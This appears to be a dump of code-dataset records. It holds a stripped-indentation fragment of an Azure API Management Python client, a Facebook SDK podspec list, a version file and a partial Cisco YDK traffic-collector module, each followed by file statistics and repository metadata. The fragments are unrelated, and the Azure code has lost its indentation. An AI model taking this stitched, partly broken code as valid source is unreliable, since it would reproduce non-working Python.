header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
if parameters is not None:
body_content = self._serialize.body(parameters, 'ApiManagementServiceApplyNetworkConfigurationParameters')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def apply_network_configuration_updates(
self, resource_group_name, service_name, location=None, custom_headers=None, raw=False, polling=True, **operation_config):
"""Updates the Microsoft.ApiManagement resource running in the Virtual
network to pick the updated network settings.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param location: Location of the Api Management service to update for
a multi-region service. For a service deployed in a single region,
this parameter is not required.
:type location: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._apply_network_configuration_updates_initial(
resource_group_name=resource_group_name,
service_name=service_name,
location=location,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
apply_network_configuration_updates.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/applynetworkconfigurationupdates'}
| 48.581892
| 217
| 0.685526
| 4,985
| 47,756
| 6.357472
| 0.055567
| 0.031175
| 0.033794
| 0.024991
| 0.907232
| 0.89846
| 0.891708
| 0.882652
| 0.879875
| 0.879055
| 0
| 0.00481
| 0.225165
| 47,756
| 982
| 218
| 48.631365
| 0.851661
| 0.273704
| 0
| 0.79771
| 0
| 0.015267
| 0.161239
| 0.102324
| 0
| 0
| 0
| 0
| 0
| 1
| 0.053435
| false
| 0
| 0.01145
| 0
| 0.148855
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
815ad58818abcfe0bdcad050865dee26646acf6d
| 631
|
py
|
Python
|
Examples/FBSDK/podfile_deps.py
|
kevinnguyenhoang91/PodToBUILD
|
52e27104a05f82dfc53f3b2c97e33acd89427687
|
[
"Apache-2.0"
] | 262
|
2017-11-06T20:01:00.000Z
|
2022-03-31T14:10:37.000Z
|
Examples/FBSDK/podfile_deps.py
|
kevinnguyenhoang91/PodToBUILD
|
52e27104a05f82dfc53f3b2c97e33acd89427687
|
[
"Apache-2.0"
] | 110
|
2017-11-10T22:24:41.000Z
|
2022-02-23T16:44:21.000Z
|
Examples/FBSDK/podfile_deps.py
|
kevinnguyenhoang91/PodToBUILD
|
52e27104a05f82dfc53f3b2c97e33acd89427687
|
[
"Apache-2.0"
] | 62
|
2017-11-06T22:10:16.000Z
|
2022-03-29T23:19:10.000Z
|
new_pod_repository(
name = "FBSDKCoreKit",
url = "https://github.com/facebook/facebook-ios-sdk/archive/v7.1.1.zip",
podspec_url = "Vendor/Podspecs/FBSDKCoreKit.podspec.json",
generate_header_map = 1
)
new_pod_repository(
name = "FBSDKLoginKit",
url = "https://github.com/facebook/facebook-ios-sdk/archive/v7.1.1.zip",
podspec_url = "Vendor/Podspecs/FBSDKLoginKit.podspec.json",
generate_header_map = 1
)
new_pod_repository(
name = "FBSDKShareKit",
url = "https://github.com/facebook/facebook-ios-sdk/archive/v7.1.1.zip",
podspec_url = "Vendor/Podspecs/FBSDKShareKit.podspec.json",
generate_header_map = 1
)
| 33.210526
| 74
| 0.743265
| 87
| 631
| 5.218391
| 0.287356
| 0.039648
| 0.105727
| 0.132159
| 0.788546
| 0.788546
| 0.72467
| 0.72467
| 0.72467
| 0.72467
| 0
| 0.021239
| 0.104596
| 631
| 18
| 75
| 35.055556
| 0.782301
| 0
| 0
| 0.5
| 1
| 0.166667
| 0.557845
| 0.198098
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
81cdfe20dcc5a55b1ea3f8d2b95e9d74682b4b68
| 43
|
py
|
Python
|
store_locator/__init__.py
|
powellc/django-cms-storelocator
|
2e3cf30029242aad8735ba9e2d11b113d2937399
|
[
"BSD-3-Clause"
] | null | null | null |
store_locator/__init__.py
|
powellc/django-cms-storelocator
|
2e3cf30029242aad8735ba9e2d11b113d2937399
|
[
"BSD-3-Clause"
] | null | null | null |
store_locator/__init__.py
|
powellc/django-cms-storelocator
|
2e3cf30029242aad8735ba9e2d11b113d2937399
|
[
"BSD-3-Clause"
] | 1
|
2018-10-08T20:09:47.000Z
|
2018-10-08T20:09:47.000Z
|
VERSION = (1,10,0)
__version__ = "1.10.0"
| 10.75
| 22
| 0.604651
| 8
| 43
| 2.75
| 0.5
| 0.727273
| 0.909091
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0.162791
| 43
| 3
| 23
| 14.333333
| 0.388889
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c4bf7b988e004b416ca77c85eb912dc214ca3114
| 120,874
|
py
|
Python
|
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_infra_tc_oper.py
|
bopopescu/ACI
|
dd717bc74739eeed4747b3ea9e36b239580df5e1
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_infra_tc_oper.py
|
bopopescu/ACI
|
dd717bc74739eeed4747b3ea9e36b239580df5e1
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_infra_tc_oper.py
|
bopopescu/ACI
|
dd717bc74739eeed4747b3ea9e36b239580df5e1
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2020-07-22T04:04:44.000Z
|
2020-07-22T04:04:44.000Z
|
""" Cisco_IOS_XR_infra_tc_oper
This module contains a collection of YANG definitions
for Cisco IOS\-XR infra\-tc package operational data.
This module contains definitions
for the following management objects\:
traffic\-collector\: Global Traffic Collector configuration
commands
Copyright (c) 2013\-2017 by Cisco Systems, Inc.
All rights reserved.
"""
from collections import OrderedDict
from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafList, YList, LeafDataList, Bits, Empty, Decimal64
from ydk.filters import YFilter
from ydk.errors import YError, YModelError
from ydk.errors.error_handler import handle_type_error as _handle_type_error
class TcOperAfName(Enum):
"""
TcOperAfName (Enum Class)
Tc oper af name
.. data:: ipv4 = 0
IPv4
.. data:: ipv6 = 1
IPv6
"""
ipv4 = Enum.YLeaf(0, "ipv4")
ipv6 = Enum.YLeaf(1, "ipv6")
class TrafficCollector(Entity):
"""
Global Traffic Collector configuration commands
.. attribute:: external_interfaces
External Interface
**type**\: :py:class:`ExternalInterfaces <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.ExternalInterfaces>`
.. attribute:: summary
Traffic Collector summary
**type**\: :py:class:`Summary <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary>`
.. attribute:: vrf_table
VRF specific operational data
**type**\: :py:class:`VrfTable <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable>`
.. attribute:: afs
Address Family specific operational data
**type**\: :py:class:`Afs <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Afs>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector, self).__init__()
self._top_entity = None
self.yang_name = "traffic-collector"
self.yang_parent_name = "Cisco-IOS-XR-infra-tc-oper"
self.is_top_level_class = True
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("external-interfaces", ("external_interfaces", TrafficCollector.ExternalInterfaces)), ("summary", ("summary", TrafficCollector.Summary)), ("vrf-table", ("vrf_table", TrafficCollector.VrfTable)), ("afs", ("afs", TrafficCollector.Afs))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict()
self.external_interfaces = TrafficCollector.ExternalInterfaces()
self.external_interfaces.parent = self
self._children_name_map["external_interfaces"] = "external-interfaces"
self._children_yang_names.add("external-interfaces")
self.summary = TrafficCollector.Summary()
self.summary.parent = self
self._children_name_map["summary"] = "summary"
self._children_yang_names.add("summary")
self.vrf_table = TrafficCollector.VrfTable()
self.vrf_table.parent = self
self._children_name_map["vrf_table"] = "vrf-table"
self._children_yang_names.add("vrf-table")
self.afs = TrafficCollector.Afs()
self.afs.parent = self
self._children_name_map["afs"] = "afs"
self._children_yang_names.add("afs")
self._segment_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector"
class ExternalInterfaces(Entity):
"""
External Interface
.. attribute:: external_interface
External Interface
**type**\: list of :py:class:`ExternalInterface <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.ExternalInterfaces.ExternalInterface>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.ExternalInterfaces, self).__init__()
self.yang_name = "external-interfaces"
self.yang_parent_name = "traffic-collector"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([("external-interface", ("external_interface", TrafficCollector.ExternalInterfaces.ExternalInterface))])
self._leafs = OrderedDict()
self.external_interface = YList(self)
self._segment_path = lambda: "external-interfaces"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.ExternalInterfaces, [], name, value)
class ExternalInterface(Entity):
"""
External Interface
.. attribute:: interface_name (key)
The Interface Name
**type**\: str
**pattern:** [a\-zA\-Z0\-9./\-]+
.. attribute:: interface_name_xr
Interface name in Display format
**type**\: str
.. attribute:: interface_handle
Interface handle
**type**\: int
**range:** 0..4294967295
.. attribute:: vrfid
Interface VRF ID
**type**\: int
**range:** 0..4294967295
.. attribute:: is_interface_enabled
Flag to indicate interface enabled or not
**type**\: bool
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.ExternalInterfaces.ExternalInterface, self).__init__()
self.yang_name = "external-interface"
self.yang_parent_name = "external-interfaces"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = ['interface_name']
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('interface_name', YLeaf(YType.str, 'interface-name')),
('interface_name_xr', YLeaf(YType.str, 'interface-name-xr')),
('interface_handle', YLeaf(YType.uint32, 'interface-handle')),
('vrfid', YLeaf(YType.uint32, 'vrfid')),
('is_interface_enabled', YLeaf(YType.boolean, 'is-interface-enabled')),
])
self.interface_name = None
self.interface_name_xr = None
self.interface_handle = None
self.vrfid = None
self.is_interface_enabled = None
self._segment_path = lambda: "external-interface" + "[interface-name='" + str(self.interface_name) + "']"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/external-interfaces/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.ExternalInterfaces.ExternalInterface, ['interface_name', 'interface_name_xr', 'interface_handle', 'vrfid', 'is_interface_enabled'], name, value)
class Summary(Entity):
"""
Traffic Collector summary
.. attribute:: database_statistics_external_interface
Database statistics for External Interface
**type**\: :py:class:`DatabaseStatisticsExternalInterface <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.DatabaseStatisticsExternalInterface>`
.. attribute:: collection_interval
Statistic collection interval in minutes
**type**\: int
**range:** 0..255
**units**\: minute
.. attribute:: collection_timer_is_running
TRUE if collection timer is running
**type**\: bool
.. attribute:: timeout_interval
Statistic history timeout interval in hours
**type**\: int
**range:** 0..65535
**units**\: hour
.. attribute:: timeout_timer_is_running
TRUE if history timeout timer is running
**type**\: bool
.. attribute:: history_size
Statistics history size
**type**\: int
**range:** 0..255
.. attribute:: vrf_statistic
VRF table statistics
**type**\: list of :py:class:`VrfStatistic <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.VrfStatistic>`
.. attribute:: collection_message_statistic
Statistics per message type for STAT collector
**type**\: list of :py:class:`CollectionMessageStatistic <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.CollectionMessageStatistic>`
.. attribute:: checkpoint_message_statistic
Statistics per message type for Chkpt
**type**\: list of :py:class:`CheckpointMessageStatistic <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.CheckpointMessageStatistic>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary, self).__init__()
self.yang_name = "summary"
self.yang_parent_name = "traffic-collector"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("database-statistics-external-interface", ("database_statistics_external_interface", TrafficCollector.Summary.DatabaseStatisticsExternalInterface))])
self._child_list_classes = OrderedDict([("vrf-statistic", ("vrf_statistic", TrafficCollector.Summary.VrfStatistic)), ("collection-message-statistic", ("collection_message_statistic", TrafficCollector.Summary.CollectionMessageStatistic)), ("checkpoint-message-statistic", ("checkpoint_message_statistic", TrafficCollector.Summary.CheckpointMessageStatistic))])
self._leafs = OrderedDict([
('collection_interval', YLeaf(YType.uint8, 'collection-interval')),
('collection_timer_is_running', YLeaf(YType.boolean, 'collection-timer-is-running')),
('timeout_interval', YLeaf(YType.uint16, 'timeout-interval')),
('timeout_timer_is_running', YLeaf(YType.boolean, 'timeout-timer-is-running')),
('history_size', YLeaf(YType.uint8, 'history-size')),
])
self.collection_interval = None
self.collection_timer_is_running = None
self.timeout_interval = None
self.timeout_timer_is_running = None
self.history_size = None
self.database_statistics_external_interface = TrafficCollector.Summary.DatabaseStatisticsExternalInterface()
self.database_statistics_external_interface.parent = self
self._children_name_map["database_statistics_external_interface"] = "database-statistics-external-interface"
self._children_yang_names.add("database-statistics-external-interface")
self.vrf_statistic = YList(self)
self.collection_message_statistic = YList(self)
self.checkpoint_message_statistic = YList(self)
self._segment_path = lambda: "summary"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary, ['collection_interval', 'collection_timer_is_running', 'timeout_interval', 'timeout_timer_is_running', 'history_size'], name, value)
class DatabaseStatisticsExternalInterface(Entity):
"""
Database statistics for External Interface
.. attribute:: number_of_entries
Number of DB entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_stale_entries
Number of stale entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_add_o_perations
Number of add operations
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: number_of_delete_o_perations
Number of delete operations
**type**\: int
**range:** 0..18446744073709551615
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.DatabaseStatisticsExternalInterface, self).__init__()
self.yang_name = "database-statistics-external-interface"
self.yang_parent_name = "summary"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('number_of_entries', YLeaf(YType.uint32, 'number-of-entries')),
('number_of_stale_entries', YLeaf(YType.uint32, 'number-of-stale-entries')),
('number_of_add_o_perations', YLeaf(YType.uint64, 'number-of-add-o-perations')),
('number_of_delete_o_perations', YLeaf(YType.uint64, 'number-of-delete-o-perations')),
])
self.number_of_entries = None
self.number_of_stale_entries = None
self.number_of_add_o_perations = None
self.number_of_delete_o_perations = None
self._segment_path = lambda: "database-statistics-external-interface"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.DatabaseStatisticsExternalInterface, ['number_of_entries', 'number_of_stale_entries', 'number_of_add_o_perations', 'number_of_delete_o_perations'], name, value)
class VrfStatistic(Entity):
"""
VRF table statistics
.. attribute:: database_statistics_ipv4
Database statistics for IPv4 table
**type**\: :py:class:`DatabaseStatisticsIpv4 <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsIpv4>`
.. attribute:: database_statistics_tunnel
Database statistics for Tunnel table
**type**\: :py:class:`DatabaseStatisticsTunnel <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsTunnel>`
.. attribute:: vrf_name
VRF name
**type**\: str
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.VrfStatistic, self).__init__()
self.yang_name = "vrf-statistic"
self.yang_parent_name = "summary"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("database-statistics-ipv4", ("database_statistics_ipv4", TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsIpv4)), ("database-statistics-tunnel", ("database_statistics_tunnel", TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsTunnel))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('vrf_name', YLeaf(YType.str, 'vrf-name')),
])
self.vrf_name = None
self.database_statistics_ipv4 = TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsIpv4()
self.database_statistics_ipv4.parent = self
self._children_name_map["database_statistics_ipv4"] = "database-statistics-ipv4"
self._children_yang_names.add("database-statistics-ipv4")
self.database_statistics_tunnel = TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsTunnel()
self.database_statistics_tunnel.parent = self
self._children_name_map["database_statistics_tunnel"] = "database-statistics-tunnel"
self._children_yang_names.add("database-statistics-tunnel")
self._segment_path = lambda: "vrf-statistic"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.VrfStatistic, ['vrf_name'], name, value)
class DatabaseStatisticsIpv4(Entity):
"""
Database statistics for IPv4 table
.. attribute:: number_of_entries
Number of DB entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_stale_entries
Number of stale entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_add_o_perations
Number of add operations
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: number_of_delete_o_perations
Number of delete operations
**type**\: int
**range:** 0..18446744073709551615
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsIpv4, self).__init__()
self.yang_name = "database-statistics-ipv4"
self.yang_parent_name = "vrf-statistic"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('number_of_entries', YLeaf(YType.uint32, 'number-of-entries')),
('number_of_stale_entries', YLeaf(YType.uint32, 'number-of-stale-entries')),
('number_of_add_o_perations', YLeaf(YType.uint64, 'number-of-add-o-perations')),
('number_of_delete_o_perations', YLeaf(YType.uint64, 'number-of-delete-o-perations')),
])
self.number_of_entries = None
self.number_of_stale_entries = None
self.number_of_add_o_perations = None
self.number_of_delete_o_perations = None
self._segment_path = lambda: "database-statistics-ipv4"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/vrf-statistic/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsIpv4, ['number_of_entries', 'number_of_stale_entries', 'number_of_add_o_perations', 'number_of_delete_o_perations'], name, value)
class DatabaseStatisticsTunnel(Entity):
"""
Database statistics for Tunnel table
.. attribute:: number_of_entries
Number of DB entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_stale_entries
Number of stale entries
**type**\: int
**range:** 0..4294967295
.. attribute:: number_of_add_o_perations
Number of add operations
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: number_of_delete_o_perations
Number of delete operations
**type**\: int
**range:** 0..18446744073709551615
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsTunnel, self).__init__()
self.yang_name = "database-statistics-tunnel"
self.yang_parent_name = "vrf-statistic"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('number_of_entries', YLeaf(YType.uint32, 'number-of-entries')),
('number_of_stale_entries', YLeaf(YType.uint32, 'number-of-stale-entries')),
('number_of_add_o_perations', YLeaf(YType.uint64, 'number-of-add-o-perations')),
('number_of_delete_o_perations', YLeaf(YType.uint64, 'number-of-delete-o-perations')),
])
self.number_of_entries = None
self.number_of_stale_entries = None
self.number_of_add_o_perations = None
self.number_of_delete_o_perations = None
self._segment_path = lambda: "database-statistics-tunnel"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/vrf-statistic/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.VrfStatistic.DatabaseStatisticsTunnel, ['number_of_entries', 'number_of_stale_entries', 'number_of_add_o_perations', 'number_of_delete_o_perations'], name, value)
class CollectionMessageStatistic(Entity):
"""
Statistics per message type for STAT collector
.. attribute:: packet_sent
Number of packets sent
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: byte_sent
Number of bytes sent
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: packet_received
Number of packets received
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: byte_received
Number of bytes received
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: maximum_roundtrip_latency
Maximum roundtrip latency in msec
**type**\: int
**range:** 0..4294967295
.. attribute:: maimum_latency_timestamp
Timestamp of maximum latency
**type**\: int
**range:** 0..18446744073709551615
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.CollectionMessageStatistic, self).__init__()
self.yang_name = "collection-message-statistic"
self.yang_parent_name = "summary"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('packet_sent', YLeaf(YType.uint64, 'packet-sent')),
('byte_sent', YLeaf(YType.uint64, 'byte-sent')),
('packet_received', YLeaf(YType.uint64, 'packet-received')),
('byte_received', YLeaf(YType.uint64, 'byte-received')),
('maximum_roundtrip_latency', YLeaf(YType.uint32, 'maximum-roundtrip-latency')),
('maimum_latency_timestamp', YLeaf(YType.uint64, 'maimum-latency-timestamp')),
])
self.packet_sent = None
self.byte_sent = None
self.packet_received = None
self.byte_received = None
self.maximum_roundtrip_latency = None
self.maimum_latency_timestamp = None
self._segment_path = lambda: "collection-message-statistic"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.CollectionMessageStatistic, ['packet_sent', 'byte_sent', 'packet_received', 'byte_received', 'maximum_roundtrip_latency', 'maimum_latency_timestamp'], name, value)
class CheckpointMessageStatistic(Entity):
"""
Statistics per message type for Chkpt
.. attribute:: packet_sent
Number of packets sent
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: byte_sent
Number of bytes sent
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: packet_received
Number of packets received
**type**\: int
**range:** 0..18446744073709551615
.. attribute:: byte_received
Number of bytes received
**type**\: int
**range:** 0..18446744073709551615
**units**\: byte
.. attribute:: maximum_roundtrip_latency
Maximum roundtrip latency in msec
**type**\: int
**range:** 0..4294967295
.. attribute:: maimum_latency_timestamp
Timestamp of maximum latency
**type**\: int
**range:** 0..18446744073709551615
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.Summary.CheckpointMessageStatistic, self).__init__()
self.yang_name = "checkpoint-message-statistic"
self.yang_parent_name = "summary"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict([
('packet_sent', YLeaf(YType.uint64, 'packet-sent')),
('byte_sent', YLeaf(YType.uint64, 'byte-sent')),
('packet_received', YLeaf(YType.uint64, 'packet-received')),
('byte_received', YLeaf(YType.uint64, 'byte-received')),
('maximum_roundtrip_latency', YLeaf(YType.uint32, 'maximum-roundtrip-latency')),
('maimum_latency_timestamp', YLeaf(YType.uint64, 'maimum-latency-timestamp')),
])
self.packet_sent = None
self.byte_sent = None
self.packet_received = None
self.byte_received = None
self.maximum_roundtrip_latency = None
self.maimum_latency_timestamp = None
self._segment_path = lambda: "checkpoint-message-statistic"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/summary/%s" % self._segment_path()
def __setattr__(self, name, value):
self._perform_setattr(TrafficCollector.Summary.CheckpointMessageStatistic, ['packet_sent', 'byte_sent', 'packet_received', 'byte_received', 'maximum_roundtrip_latency', 'maimum_latency_timestamp'], name, value)
class VrfTable(Entity):
"""
VRF specific operational data
.. attribute:: default_vrf
DefaultVRF specific operational data
**type**\: :py:class:`DefaultVrf <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable, self).__init__()
self.yang_name = "vrf-table"
self.yang_parent_name = "traffic-collector"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("default-vrf", ("default_vrf", TrafficCollector.VrfTable.DefaultVrf))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict()
self.default_vrf = TrafficCollector.VrfTable.DefaultVrf()
self.default_vrf.parent = self
self._children_name_map["default_vrf"] = "default-vrf"
self._children_yang_names.add("default-vrf")
self._segment_path = lambda: "vrf-table"
self._absolute_path = lambda: "Cisco-IOS-XR-infra-tc-oper:traffic-collector/%s" % self._segment_path()
class DefaultVrf(Entity):
"""
DefaultVRF specific operational data
.. attribute:: afs
Address Family specific operational data
**type**\: :py:class:`Afs <ydk.models.cisco_ios_xr.Cisco_IOS_XR_infra_tc_oper.TrafficCollector.VrfTable.DefaultVrf.Afs>`
"""
_prefix = 'infra-tc-oper'
_revision = '2015-11-09'
def __init__(self):
super(TrafficCollector.VrfTable.DefaultVrf, self).__init__()
self.yang_name = "default-vrf"
self.yang_parent_name = "vrf-table"
self.is_top_level_class = False
self.has_list_ancestor = False
self.ylist_key_names = []
self._child_container_classes = OrderedDict([("afs", ("afs", TrafficCollector.VrfTable.DefaultVrf.Afs))])
self._child_list_classes = OrderedDict([])
self._leafs = OrderedDict()
self.afs = TrafficCollector.VrfTable.DefaultVrf.Afs()
self.afs.parent = self
self._children_name_map["afs"] = "afs"
self._children_yang_names.add("afs")
